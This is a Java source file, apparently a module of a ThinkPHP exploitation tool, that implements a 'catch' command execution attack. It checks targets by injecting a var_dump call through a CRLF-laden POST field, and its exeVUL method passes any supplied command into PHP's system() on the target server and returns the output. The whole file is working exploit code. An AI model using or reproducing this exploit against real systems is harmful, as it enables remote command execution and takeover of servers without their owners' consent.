content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  public class tp_catch implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String payload = url + "/index.php/Home/Index/index.html";
          try {
              String res = HttpRequest.post(payload).header("Content-type", "application/x-www-form-urlencoded").send("a3=%0d%0avar_dump(\"test\");%0d%0a//").body();
              if (res.contains("string(4) \"test\"")) {
                  return new Result(true, "ThinkPHP catch 命令执行漏洞", payload + " Post: a3=%0d%0avar_dump(\"test\");%0d%0a//");
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, "ThinkPHP catch 命令执行漏洞", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          String payload = url + "/index.php/Home/Index/index.html";
          try {
              String res = HttpRequest.post(payload).header("Content-type", "application/x-www-form-urlencoded").send("a3=%0d%0asystem(\"" + cmd + "\");%0d%0a//").body();
              return new Result(true, null, res);
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  